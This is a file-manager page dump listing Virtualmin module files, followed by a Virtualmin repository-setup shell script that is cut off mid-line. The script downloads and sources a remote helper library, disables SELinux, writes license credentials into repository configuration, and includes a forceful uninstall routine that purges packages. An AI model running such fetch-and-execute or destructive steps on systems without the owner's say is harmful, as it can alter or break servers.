-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fixvirtualminrepos.sh
#!/bin/sh # shellcheck disable=SC2059 disable=SC2181 disable=SC2154 # virtualmin-install.sh # Copyright 2005-2022 Virtualmin, Inc. # Simple script to grab the virtualmin-release and virtualmin-base packages. # The packages do most of the hard work, so this script can be small-ish and # lazy-ish. # WARNING: Anything not listed in the currently supported systems list is not # going to work, despite the fact that you might see code that detects your # OS and acts on it. If it isn't in the list, the code is not complete and # will not work. More importantly, the repos that this script uses do not # exist, if the OS isn't listed. Don't even bother trying it. # # A manual install might work for you though. # See here: https://www.virtualmin.com/documentation/installation/manual/ # License and version SERIAL=GPL KEY=GPL VER=7.0.1 vm_version=7 upgrade_virtualmin_host=software.virtualmin.com # Determines if we have a terminal if ! tty -s; then INTERACTIVE_MODE="off" else INTERACTIVE_MODE="on" fi # Set a trap to catch any exit, whether # normal or forced (e.g. Ctrl-C) enable_stty () { if [ "${INTERACTIVE_MODE}" != "off" ];then stty echo fi } trap enable_stty INT QUIT TERM EXIT # Print usage info, if --help, set mode, etc. # Temporary colors if [ "${INTERACTIVE_MODE}" != "off" ];then RED="$(tput setaf 1)" YELLOW="$(tput setaf 3)" CYAN="$(tput setaf 6)" BLACK="$(tput setaf 16)" NORMAL="$(tput sgr0)" GREEN=$(tput setaf 2) CYANBG=$(tput setab 6) BRIGHTWHITEBG=$(tput setab 15) BOLD=$(tput bold) else RED='' YELLOW='' CYAN='' BLACK='' NORMAL='' GREEN='' CYANBG='' BRIGHTWHITEBG='' BOLD='' fi # Currently supported systems: supported=" ${CYANBG}${BLACK}${BOLD}Red Hat Enterprise Linux and derivatives${NORMAL}${CYAN} - RHEL 8 and 9 on x86_64 - Alma and Rocky 8 and 9 on x86_64 - CentOS 7 on x86_64${NORMAL} UNSTABLERHEL ${CYANBG}${BLACK}${BOLD}Debian Linux and derivatives${NORMAL}${CYAN} - Debian 10 and 11 on i386 and amd64 - Ubuntu 20.04 LTS and 22.04 LTS on i386 and amd64${NORMAL}" # Store new log each time log=/root/virtualmin-install.log if [ -e "$log" ]; then while true; do logcnt=$((logcnt+1)) logold="$log.$logcnt" if [ ! -e "$logold" ]; then mv $log $logold break fi done fi # Set defaults bundle='LAMP' # Other option is LEMP mode='full' # Other option is minimal skipyesno=0 vm6_repos=0 usage() { # shellcheck disable=SC2046 printf "Usage: %s %s [options]\\n" "${CYAN}" $(basename "$0") echo echo " If called without arguments, installs Virtualmin." echo printf " ${YELLOW}--help|-h${NORMAL} display this help and exit\\n" printf " ${YELLOW}--bundle|-b <LAMP|LEMP>${NORMAL} choose bundle to install (defaults to LAMP)\\n" printf " ${YELLOW}--minimal|-m${NORMAL} install a smaller subset of packages for low-memory/low-resource systems\\n" printf " ${YELLOW}--unstable|-e${NORMAL} enable support for Grade B systems (Fedora, CentOS Stream, Oracle)\\n" printf " ${YELLOW}--no-package-updates|-x${NORMAL} skip installing system package updates\\n" printf " ${YELLOW}--setup|-s <auto|force-latest>${NORMAL} setup Virtualmin software repositories and exit\\n" printf " ${YELLOW}--hostname|-n${NORMAL} set fully qualified hostname\\n" printf " ${YELLOW}--force|-f${NORMAL} assume \"yes\" as answer to all prompts\\n" printf " ${YELLOW}--verbose|-v${NORMAL} increase verbosity\\n" printf " ${YELLOW}--uninstall|-u${NORMAL} removes all Virtualmin packages (do not use on a production system)\\n" echo } while [ "$1" != "" ]; do case $1 in --help | -h) usage exit 0 ;; --bundle | -b) shift case "$1" in LAMP) shift bundle='LAMP' ;; LEMP) shift bundle='LEMP' ;; *) printf "Unknown bundle ${YELLOW}$1${NORMAL}: exiting\\n" exit 1 ;; esac ;; --minimal | -m) shift mode='minimal' ;; --unstable | -e) shift unstable='unstable' ;; --no-package-updates | -x) shift noupdates=1 ;; --setup | -s) shift setup_only=1 mode='setup' unstable='unstable' case "$1" in force-latest) shift setup_only_force_latest=1 ;; *) setup_only_force_latest=0 ;; esac break ;; --hostname | -n) shift forcehostname=$1 shift ;; --force | -f | --yes | -y) shift skipyesno=1 ;; --verbose | -v) shift VERBOSE=1 ;; --uninstall | -u) shift mode="uninstall" ;; *) printf "Unrecognized option: $1\\n\\n" usage exit 1 ;; esac done # Virtualmin packaged patch to always force repo setup setup_only=1 mode='setup' unstable='unstable' if [ "${INTERACTIVE_MODE}" != "off" ];then stty -echo fi if [ -z "$setup_only" ]; then echo "Running ${GREEN}Virtualmin ${vm_version}${NORMAL} pre-installation setup:" # Check if current time # is not older than # May 16, 2022 TIMEBASE=1652691600 TIME=$(date +%s) if [ "$TIME" -lt "$TIMEBASE" ]; then echo " Force-syncing system time .." # Try to sync time automatically first if systemctl restart chronyd 1>/dev/null 2>&1; then sleep 15 elif systemctl restart systemd-timesyncd 1>/dev/null 2>&1; then sleep 15 fi # Check again after all TIME=$(date +%s) if [ "$TIME" -lt "$TIMEBASE" ]; then echo " .. failed to automatically sync system time; it must be corrected manually to continue" exit fi echo " .. done" # Graceful sync else echo " Syncing system time .." if systemctl restart chronyd 1>/dev/null 2>&1; then sleep 2 echo " .. done" elif systemctl restart systemd-timesyncd 1>/dev/null 2>&1; then echo " .. done" sleep 2 fi fi # Update all system packages first printf "Checking for an update for a set of CA certificates ..\\n" >>$log echo " Updating CA certificates .." if [ -x /usr/bin/dnf ]; then dnf -y update ca-certificates >>$log 2>&1 elif [ -x /usr/bin/yum ]; then yum -y update ca-certificates >>$log 2>&1 elif [ -x /usr/bin/apt-get ]; then apt-get -y install ca-certificates >>$log 2>&1 fi echo " .. done" # Make sure Perl is installed printf "Checking for Perl ..\\n" >>$log fi # loop until we've got a Perl or until we can't try any more while true; do perl="$(command -pv perl 2>/dev/null)" if [ -z "$perl" ]; then if [ -x /usr/bin/perl ]; then perl=/usr/bin/perl break elif [ -x /usr/local/bin/perl ]; then perl=/usr/local/bin/perl break elif [ -x /opt/csw/bin/perl ]; then perl=/opt/csw/bin/perl break elif [ "$perl_attempted" = 1 ]; then printf "Perl ${RED}could not${NORMAL} be installed. Cannot continue.\\n" exit 2 fi # couldn't find Perl, so we need to try to install it if [ -z "$setup_only" ]; then echo " Attempting to install Perl .." fi if [ -x /usr/bin/dnf ]; then dnf -y install perl >>$log 2>&1 elif [ -x /usr/bin/yum ]; then yum -y install perl >>$log 2>&1 elif [ -x /usr/bin/apt-get ]; then apt-get update >>$log 2>&1 apt-get -q -y install perl >>$log 2>&1 fi perl_attempted=1 # Loop. Next loop should either break or exit. else break fi done if [ -z "$setup_only" ]; then if [ "$perl_attempted" = 1 ]; then echo " .. done" fi fi printf ".. found Perl at $perl\\n" >>$log # Check for wget or curl or fetch printf "Checking for HTTP client .." >>$log while true; do if [ -x "/usr/bin/wget" ]; then download="/usr/bin/wget -nv" break elif [ -x "/usr/bin/curl" ]; then download="/usr/bin/curl -f -s -L -O" break elif [ -x "/usr/bin/fetch" ]; then download="/usr/bin/fetch" break elif [ "$wget_attempted" = 1 ]; then printf ".. ${RED}no HTTP client available. Could not install wget. Cannot continue.${NORMAL}\\n" exit 1 fi # Made it here without finding a downloader, so try to install one wget_attempted=1 if [ -x /usr/bin/dnf ]; then dnf -y install wget >>$log elif [ -x /usr/bin/yum ]; then yum -y install wget >>$log elif [ -x /usr/bin/apt-get ]; then apt-get update >>/dev/null apt-get -y -q install wget >>$log fi done if [ -z "$download" ]; then echo "Tried to install downloader, but failed. Do you have working network and DNS?" fi printf " found %s\\n" "$download" >>$log # Check for gpg, debian 10 doesn't install by default!? if [ -x /usr/bin/apt-get ]; then if [ ! -x /usr/bin/gpg ]; then printf "GPG not found, attempting to install .." >>$log apt-get update >>/dev/null apt-get -y -q install gnupg >>$log fi fi # If Pro user downloads GPL version of `install.sh` script # to fix repos check if there is an active license exists if [ -n "$setup_only" ]; then if [ "$SERIAL" = "GPL" ] && [ "$KEY" = "GPL" ] && [ -f /etc/virtualmin-license ]; then virtualmin_license_existing_serial="$(grep 'SerialNumber=' /etc/virtualmin-license | sed 's/SerialNumber=//')" virtualmin_license_existing_key="$(grep 'LicenseKey=' /etc/virtualmin-license | sed 's/LicenseKey=//')" if [ -n "$virtualmin_license_existing_serial" ] && [ -n "$virtualmin_license_existing_key" ]; then SERIAL="$virtualmin_license_existing_serial" KEY="$virtualmin_license_existing_key" fi fi fi arch="$(uname -m)" if [ "$arch" = "i686" ]; then arch="i386" fi if [ "$SERIAL" = "GPL" ]; then LOGIN="" PRODUCT="GPL" repopath="gpl/" packagetype="gpl" else LOGIN="$SERIAL:$KEY@" PRODUCT="Professional" packagetype="pro" repopath="pro/" fi # Virtualmin-provided packages vmgroup="'Virtualmin Core'" vmgrouptext="Virtualmin $vm_version provided packages" debvmpackages="virtualmin-core" deps= if [ "$mode" = 'full' ]; then if [ "$bundle" = 'LAMP' ]; then rhgroup="'Virtualmin LAMP Stack'" rhgrouptext="Virtualmin $vm_version LAMP stack" debdeps="virtualmin-lamp-stack" ubudeps="virtualmin-lamp-stack" elif [ "$bundle" = 'LEMP' ]; then rhgroup="'Virtualmin LEMP Stack'" rhgrouptext="Virtualmin $vm_version LEMP stack" debdeps="virtualmin-lemp-stack" ubudeps="virtualmin-lemp-stack" fi elif [ "$mode" = 'minimal' ]; then if [ "$bundle" = 'LAMP' ]; then rhgroup="'Virtualmin LAMP Stack Minimal'" rhgrouptext="Virtualmin $vm_version LAMP stack minimal" debdeps="virtualmin-lamp-stack-minimal" ubudeps="virtualmin-lamp-stack-minimal" elif [ "$bundle" = 'LEMP' ]; then rhgroup="'Virtualmin LEMP Stack Minimal'" rhgrouptext="Virtualmin $vm_version LEMP stack minimal'" debdeps="virtualmin-lemp-stack-minimal" ubudeps="virtualmin-lemp-stack-minimal" fi fi # Find temp directory if [ -z "$TMPDIR" ]; then TMPDIR=/tmp fi # Check whether $TMPDIR is mounted noexec (everything will fail, if so) # XXX: This check is imperfect. If $TMPDIR is a full path, but the parent dir # is mounted noexec, this won't catch it. TMPNOEXEC="$(grep $TMPDIR /etc/mtab | grep noexec)" if [ -n "$TMPNOEXEC" ]; then echo "${RED}Fatal:${NORMAL} $TMPDIR directory is mounted noexec. Cannot continue." exit 1 fi if [ -z "$tempdir" ]; then tempdir="$TMPDIR/.virtualmin-$$" if [ -e "$tempdir" ]; then rm -rf "$tempdir" fi mkdir "$tempdir" fi # "files" subdir for libs mkdir "$tempdir/files" srcdir="$tempdir/files" if ! cd "$srcdir"; then echo "Failed to cd to $srcdir" exit 1 fi # Download the slib (source: http://github.com/virtualmin/slib) # Lots of little utility functions. $download "https://$upgrade_virtualmin_host/lib/slib.sh" >>$log 2>&1 if [ $? -ne 0 ]; then echo "${RED}Error:${NORMAL} Failed to download utility function library. Cannot continue. Check your network connection and DNS settings." exit 1 fi chmod +x slib.sh # shellcheck disable=SC1091 . ./slib.sh # Check the serial number and key serial_ok "$SERIAL" "$KEY" # Setup slog # shellcheck disable=SC2034 LOG_PATH="$log" # Setup run_ok # shellcheck disable=SC2034 RUN_LOG="$log" # Exit on any failure during shell stage # shellcheck disable=SC2034 RUN_ERRORS_FATAL=1 # Console output level; ignore debug level messages. if [ "$VERBOSE" = "1" ]; then # shellcheck disable=SC2034 LOG_LEVEL_STDOUT="DEBUG" else # shellcheck disable=SC2034 LOG_LEVEL_STDOUT="INFO" fi # Log file output level; catch literally everything. # shellcheck disable=SC2034 LOG_LEVEL_LOG="DEBUG" # log_fatal calls log_error log_fatal() { log_error "$1" } remove_virtualmin_release() { # shellcheck disable=SC2154 case "$os_type" in "fedora" | "centos" | "centos_stream" | "rhel" | "rocky" | "almalinux" | "ol") rm -f /etc/yum.repos.d/virtualmin.repo rm -f /etc/pki/rpm-gpg/RPM-GPG-KEY-virtualmin-* rm -f /etc/pki/rpm-gpg/RPM-GPG-KEY-webmin ;; "debian" | "ubuntu") grep -v "virtualmin" /etc/apt/sources.list >"$tempdir"/sources.list mv "$tempdir"/sources.list /etc/apt/sources.list rm -f /etc/apt/sources.list.d/virtualmin.list rm -f /etc/apt/auth.conf.d/virtualmin.conf rm -f /usr/share/keyrings/debian-virtualmin-* rm -f /usr/share/keyrings/debian-webmin.gpg ;; esac } fatal() { echo log_fatal "Fatal Error Occurred: $1" printf "${RED}Cannot continue installation.${NORMAL}\\n" remove_virtualmin_release if [ -x "$tempdir" ]; then log_warning "Removing temporary directory and files." rm -rf "$tempdir" fi log_fatal "If you are unsure of what went wrong, you may wish to review the log" log_fatal "in $log" exit 1 } success() { log_success "$1 Succeeded." } # Function to find out if some services were pre-installed is_preconfigured() { preconfigured="" if command -pv named -v 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}BIND${NORMAL} " fi if command -pv apachectl -v 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}Apache${NORMAL} " fi if command -pv nginx -v 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}Nginx${NORMAL} " fi if command -pv mariadb 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}MariaDB${NORMAL} " fi if command -pv mysql 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}MySQL${NORMAL} " fi if command -pv php -v 1>/dev/null 2>&1; then preconfigured="${preconfigured}${YELLOW}${BOLD}PHP${NORMAL} " fi preconfigured=$(echo "$preconfigured" | sed 's/ /, /g' | sed 's/, $/ /') echo "$preconfigured" } # Function to find out if Virtualmin is already installed, so we can get # rid of some of the warning message. Nobody reads it, and frequently # folks run the install script on a production system; either to attempt # to upgrade, or to "fix" something. That's never the right thing. is_installed() { if [ -f /etc/virtualmin-license ]; then # looks like it's been installed before return 0 fi # XXX Probably not installed? Maybe we should remove license on uninstall, too. return 1 } # This function performs a rough uninstallation of Virtualmin # It is neither complete, nor correct, but it almost certainly won't break # anything. It is primarily useful for cleaning up a botched install, so you # can run the installer again. uninstall() { # Very destructive, ask first. echo printf " ${REDBG}WARNING${NORMAL}\\n" echo echo " This operation is very destructive. It removes nearly all of the packages" echo " installed by the Virtualmin installer. Never run this on a production system." echo printf " Continue? (y/n) " if ! yesno; then exit fi # This is a crummy way to detect package manager...but going through # half the installer just to get here is even crummier. if command -pv rpm 1>/dev/null 2>&1; then package_type=rpm elif command -pv dpkg 1>/dev/null 2>&1; then package_type=deb fi case "$package_type" in rpm) yum groupremove -y --setopt="groupremove_leaf_only=true" "Virtualmin Core" yum groupremove -y --setopt="groupremove_leaf_only=true" "Virtualmin LAMP Stack" yum groupremove -y --setopt="groupremove_leaf_only=true" "Virtualmin LEMP Stack" yum groupremove -y --setopt="groupremove_leaf_only=true" "Virtualmin LAMP Stack Minimal" yum groupremove -y --setopt="groupremove_leaf_only=true" "Virtualmin LEMP Stack Minimal" yum remove -y virtualmin-base yum remove -y wbm-virtual-server wbm-virtualmin-htpasswd wbm-virtualmin-dav wbm-virtualmin-mailman wbm-virtualmin-awstats wbm-php-pear wbm-ruby-gems wbm-virtualmin-registrar wbm-virtualmin-init wbm-jailkit wbm-virtualmin-git wbm-virtualmin-slavedns wbm-virtual-server wbm-virtualmin-sqlite wbm-virtualmin-svn yum remove -y wbt-virtual-server-mobile yum remove -y virtualmin-config perl-Term-Spinner-Color yum remove -y webmin usermin awstats yum remove -y nginx yum remove -y fail2ban yum clean all os_type="centos" ;; deb) rm -rf /etc/fail2ban/jail.d/00-firewalld.conf rm -f /etc/fail2ban/jail.local apt-get remove --assume-yes --purge virtualmin-base virtualmin-core virtualmin-lamp-stack virtualmin-lemp-stack apt-get remove --assume-yes --purge virtualmin-lamp-stack-minimal virtualmin-lemp-stack-minimal apt-get remove --assume-yes --purge virtualmin-config libterm-spinner-color-perl apt-get remove --assume-yes --purge webmin-virtual-server webmin-virtualmin-htpasswd webmin-virtualmin-git webmin-virtualmin-slavedns webmin-virtualmin-dav webmin-virtualmin-mailman webmin-virtualmin-awstats webmin-php-pear webmin-ruby-gems webmin-virtualmin-registrar webmin-virtualmin-init webmin-jailkit webmin-virtual-server webmin-virtualmin-sqlite webmin-virtualmin-svn apt-get remove --assume-yes --purge webmin-virtual-server-mobile apt-get remove --assume-yes --purge fail2ban apt-get remove --assume-yes --purge apache2* apt-get remove --assume-yes --purge nginx* apt-get remove --assume-yes --purge webmin usermin apt-get autoremove --assume-yes os_type="debian" apt-get clean ;; *) echo "I don't know how to uninstall on this operating system." ;; esac echo 'Removing Virtualmin repo configuration' remove_virtualmin_release virtualmin_license_file="/etc/virtualmin-license" if [ -f "$virtualmin_license_file" ]; then echo "Removing Virtualmin license" rm "$virtualmin_license_file" fi echo "Done. There's probably quite a bit of related packages and such left behind" echo "but all of the Virtualmin-specific packages have been removed." exit 0 } if [ "$mode" = "uninstall" ]; then uninstall fi # Calculate disk space requirements (this is a guess, for now) if [ "$mode" = 'minimal' ]; then disk_space_required=500 else disk_space_required=650 fi # Message to display in interactive mode install_msg() { cat <<EOF Welcome to the Virtualmin ${GREEN}$PRODUCT${NORMAL} installer, version ${GREEN}$VER${NORMAL} This script must be run on a freshly installed supported OS. It does not perform updates or upgrades (use your system package manager) or license changes (use the "virtualmin change-license" command). The systems currently supported by install script are: EOF supported_all=$supported if [ -n "$unstable" ]; then unstable_rhel="${YELLOW}- Fedora Server 36+ on x86_64\\n \ - CentOS Stream 8 and 9 on x86_64\\n \ - Oracle Linux 8 and 9 on x86_64\\n \ ${NORMAL}" supported_all=$(echo "$supported_all" | sed "s/UNSTABLERHEL/$unstable_rhel/") else supported_all=$(echo "$supported_all" | sed 's/UNSTABLERHEL//') fi echo "$supported_all" cat <<EOF If your OS/version/arch is not listed, installation ${BOLD}${RED}will fail${NORMAL}. More details about the systems supported by the script can be found here: ${UNDERLINE}https://www.virtualmin.com/os-support${NORMAL} The selected package bundle is ${CYAN}${bundle}${NORMAL} and the size of install is ${CYAN}${mode}${NORMAL}. It will require up to ${CYAN}${disk_space_required} MB${NORMAL} of disk space. Exit and re-run this script with ${CYAN}--help${NORMAL} flag to see available options. EOF printf " Continue? (y/n) " if ! yesno; then exit fi } if [ "$skipyesno" -ne 1 ] && [ -z "$setup_only" ]; then install_msg fi preconfigured_system_msg() { # Double check if installed, just in case above error ignored. is_preconfigured_rs=$(is_preconfigured) if [ -n "$is_preconfigured_rs" ]; then cat <<EOF ${BRIGHTWHITEBG}${RED}${BOLD} ATTENTION! ${NORMAL} Pre-installed software detected: $is_preconfigured_rs It is highly advised ${BOLD}${RED}not to pre-install or pre-configure${NORMAL} any additional packages on your OS. The installer expects a freshly installed OS, and anything you do differently might cause conflicts or configuration errors. If you need to enable third-party package repositories, do so after installation of Virtualmin, and only with extreme caution. EOF printf " Continue? (y/n) " if ! yesno; then exit fi fi } already_installed_msg() { # Double check if installed, just in case above error ignored. if is_installed; then cat <<EOF ${BRIGHTWHITEBG}${RED}${BOLD} WARNING! ${NORMAL} Virtualmin may already be installed. This can happen if an installation failed, and can be ignored in that case. However, if Virtualmin has already been successfully installed you ${BOLD}${RED}must not${NORMAL} run this script again! It will cause breakage to your existing configuration. Virtualmin repositories can be fixed using ${WHITEBG}${BLACK}${BOLD}${0##*/} -s${NORMAL} command. License details can be changed using ${WHITEBG}${BLACK}${BOLD}virtualmin change-license${NORMAL} command. Changing the license never requires re-installation. Updates and upgrades must be performed from within either Virtualmin or using system package manager on the command line. EOF printf " Continue? (y/n) " if ! yesno; then exit fi fi } if [ "$skipyesno" -ne 1 ] && [ -z "$setup_only" ]; then preconfigured_system_msg already_installed_msg fi # Check memory if [ "$mode" = "full" ]; then minimum_memory=1610613 else # minimal mode probably needs less memory to succeed minimum_memory=1048576 fi if ! memory_ok "$minimum_memory"; then log_fatal "Too little memory, and unable to create a swap file. Consider adding swap" log_fatal "or more RAM to your system." exit 1 fi # Check for localhost in /etc/hosts if [ -z "$setup_only" ]; then grep localhost /etc/hosts >/dev/null if [ "$?" != 0 ]; then log_warning "There is no localhost entry in /etc/hosts. This is required, so one will be added." run_ok "echo 127.0.0.1 localhost >> /etc/hosts" "Editing /etc/hosts" if [ "$?" -ne 0 ]; then log_error "Failed to configure a localhost entry in /etc/hosts." log_error "This may cause problems, but we'll try to continue." fi fi fi # download() # Use $download to download the provided filename or exit with an error. download() { # XXX Check this to make sure run_ok is doing the right thing. # Especially make sure failure gets logged right. # awk magic prints the filename, rather than whole URL export download_file download_file=$(echo "$1" | awk -F/ '{print $NF}') run_ok "$download $1" "$2" if [ $? -ne 0 ]; then fatal "Failed to download Virtualmin release package. Cannot continue. Check your network connection and DNS settings." else return 0 fi } # Only root can run this id | grep -i "uid=0(" >/dev/null if [ "$?" != "0" ]; then uname -a | grep -i CYGWIN >/dev/null if [ "$?" != "0" ]; then fatal "${RED}Fatal:${NORMAL} The Virtualmin install script must be run as root" fi fi if [ -n "$setup_only" ]; then if [ "$setup_only_force_latest" -ne 1 ]; then # If Virtualmin 6 is installed and a user needs to fix repos make, # sure that we don't switch 6 to 7 to keep the same stack packages reposfile="/etc/yum.repos.d/virtualmin.repo /etc/apt/sources.list.d/virtualmin.list /etc/apt/sources.list" vm_prev_version_installed=$((vm_version - 1)) for repofile in $reposfile; do if [ -f "$repofile" ]; then if grep -F -q "virtualmin-universal" "$repofile" || grep -F -q "/vm/$vm_prev_version_installed/" "$repofile"; then # Fix for Virtualmin 6 repos if [ "$vm_prev_version_installed" = "6" ]; then if [ "$SERIAL" != "GPL" ]; then repopath="" fi vm_version=$vm_prev_version_installed vm6_repos=1 fi fi fi done fi log_info "Started Virtualmin $vm_version $PRODUCT software repositories setup" printf "${YELLOW}▣${NORMAL} Phase ${YELLOW}1${NORMAL} of ${GREEN}1${NORMAL}: Setup\\n" else log_info "Started installation log in $log" log_debug "Phase 1 of 3: Setup" printf "${YELLOW}▣${CYAN}◻◻${NORMAL} Phase ${YELLOW}1${NORMAL} of ${GREEN}3${NORMAL}: Setup\\n" fi # Print out some details that we gather before logging existed log_debug "Install mode: $mode" log_debug "Product: Virtualmin $PRODUCT" log_debug "install.sh version: $VER" # Check for a fully qualified hostname log_debug "Checking for fully qualified hostname .." name="$(hostname -f)" if [ -n "$forcehostname" ]; then set_hostname "$forcehostname" elif ! is_fully_qualified "$name"; then set_hostname fi # Insert the serial number and password into /etc/virtualmin-license log_debug "Installing serial number and license key into /etc/virtualmin-license" echo "SerialNumber=$SERIAL" >/etc/virtualmin-license echo "LicenseKey=$KEY" >>/etc/virtualmin-license chmod 700 /etc/virtualmin-license cd .. # Populate some distro version globals get_distro log_debug "Operating system name: $os_real" log_debug "Operating system version: $os_version" log_debug "Operating system type: $os_type" log_debug "Operating system major: $os_major_version" install_virtualmin_release() { # Grab virtualmin-release from the server log_debug "Configuring package manager for ${os_real} ${os_version} .." case "$os_type" in rhel | centos | centos_stream | rocky | almalinux | ol | fedora) case "$os_type" in rhel | centos | centos_stream) if [ "$os_type" = "centos_stream" ]; then if [ "$os_major_version" -lt 8 ] || [ -z "$unstable" ]; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi else if [ "$os_major_version" -lt 7 ]; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi fi ;; rocky | almalinux | ol) if [ "$os_major_version" -lt 8 ] || [ -z "$unstable" ] && [ "$os_type" = "ol" ]; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi ;; fedora) if [ "$os_version" -lt 35 ] || [ -z "$unstable" ] && [ "$os_type" = "fedora" ] ; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi ;; *) printf "${RED}This OS/version is not recognized. Cannot continue.${NORMAL}\\n" exit 1 ;; esac if [ -x /usr/sbin/setenforce ]; then log_debug "Disabling SELinux during installation .." if /usr/sbin/setenforce 0 1>/dev/null 2>&1; then log_debug " setenforce 0 succeeded" else log_debug " setenforce 0 failed: $?" fi fi package_type="rpm" if command -pv dnf 1>/dev/null 2>&1; then install="dnf -y install" update="dnf -y update" install_cmd="dnf" install_group="dnf -y --quiet --skip-broken group install --setopt=group_package_types=mandatory,default" install_config_manager="dnf config-manager" # Do not use package manager when fixing repos if [ -z "$setup_only" ]; then run_ok "$install dnf-plugins-core" "Installing core plugins for package manager" fi else install="/usr/bin/yum -y install" update="/usr/bin/yum -y update" install_cmd="/usr/bin/yum" if [ "$os_major_version" -ge 7 ]; then # Do not use package manager when fixing repos if [ -z "$setup_only" ]; then run_ok "yum --quiet groups mark convert" "Updating groups metadata" fi fi install_group="yum -y --quiet --skip-broken groupinstall --setopt=group_package_types=mandatory,default" install_config_manager="yum-config-manager" fi # Download release file if [ "$vm6_repos" -eq 1 ]; then rpm_release_file_download="virtualmin-release-latest.noarch.rpm" download "https://${LOGIN}$upgrade_virtualmin_host/vm/$vm_version/${repopath}${os_type}/${os_major_version}/${arch}/$rpm_release_file_download" "Downloading Virtualmin $vm_version release package" else rpm_release_file_download="virtualmin-$packagetype-release.noarch.rpm" download "https://${LOGIN}$upgrade_virtualmin_host/vm/$vm_version/rpm/$rpm_release_file_download" "Downloading Virtualmin $vm_version release package" fi # Remove existing pkg files as they will not # be replaced upon replease package upgrade if [ -x "/usr/bin/rpm" ]; then rpm_release_files="$(rpm -qal virtualmin*release)" rpm_release_files=$(echo "$rpm_release_files" | tr '\n' ' ') if [ -n "$rpm_release_files" ]; then for rpm_release_file in $rpm_release_files; do rm -f "$rpm_release_file" done fi fi # Remove releases first, as the system can # end up having both GPL and Pro installed rpm -e --nodeps --quiet "$(rpm -qa virtualmin*release)" >>${RUN_LOG} 2>&1 # Install release file run_ok "rpm -U --replacepkgs --replacefiles --quiet $rpm_release_file_download" "Installing Virtualmin $vm_version release package" # Fix login credentials if fixing repos if [ -n "$setup_only" ]; then sed -i "s/SERIALNUMBER:LICENSEKEY@/$LOGIN/" /etc/yum.repos.d/virtualmin.repo sed -i 's/http:\/\//https:\/\//' /etc/yum.repos.d/virtualmin.repo fi ;; debian | ubuntu) case "$os_type" in ubuntu) if [ "$os_version" != "18.04" ] && [ "$os_version" != "20.04" ] && [ "$os_version" != "22.04" ] && [ -z "$vm6_repos" ]; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi ;; debian) if [ "$os_major_version" -lt 10 ] && [ -z "$vm6_repos" ]; then printf "${RED}${os_real} ${os_version} is not supported by this installer.${NORMAL}\\n" exit 1 fi ;; esac package_type="deb" if [ "$os_type" = "ubuntu" ]; then deps="$ubudeps" if [ "$vm6_repos" -eq 1 ]; then case "$os_version" in 16.04*) repos="virtualmin-xenial virtualmin-universal" ;; 18.04*) repos="virtualmin-bionic virtualmin-universal" ;; 20.04*) repos="virtualmin-focal virtualmin-universal" ;; 22.04*) repos="virtualmin-focal virtualmin-universal" ;; esac else repos="virtualmin" fi else deps="$debdeps" if [ "$vm6_repos" -eq 1 ]; then case "$os_version" in 9*) repos="virtualmin-stretch virtualmin-universal" ;; 10*) repos="virtualmin-buster virtualmin-universal" ;; 11*) repos="virtualmin-buster virtualmin-universal" ;; esac else repos="virtualmin" fi fi log_debug "apt-get repos: ${repos}" if [ -z "$repos" ]; then # Probably unstable with no version number log_fatal "No repos available for this OS. Are you running unstable/testing?" exit 1 fi # Remove any existing repo config, in case it's a reinstall remove_virtualmin_release apt_auth_dir='/etc/apt/auth.conf.d' LOGINREAL=$LOGIN if [ -d "$apt_auth_dir" ]; then if [ -n "$LOGIN" ]; then LOGINREAL="" printf "machine $upgrade_virtualmin_host login $SERIAL password $KEY\\n" >>"$apt_auth_dir/virtualmin.conf" fi fi for repo in $repos; do printf "deb [signed-by=/usr/share/keyrings/debian-virtualmin-$vm_version.gpg] https://${LOGINREAL}$upgrade_virtualmin_host/vm/${vm_version}/${repopath}apt ${repo} main\\n" >>/etc/apt/sources.list.d/virtualmin.list done # Install our keys log_debug "Installing Webmin and Virtualmin package signing keys .." download "https://$upgrade_virtualmin_host/lib/RPM-GPG-KEY-virtualmin-$vm_version" "Downloading Virtualmin $vm_version key" run_ok "gpg --import RPM-GPG-KEY-virtualmin-$vm_version && cat RPM-GPG-KEY-virtualmin-$vm_version | gpg --dearmor > /usr/share/keyrings/debian-virtualmin-$vm_version.gpg" "Installing Virtualmin $vm_version key" download 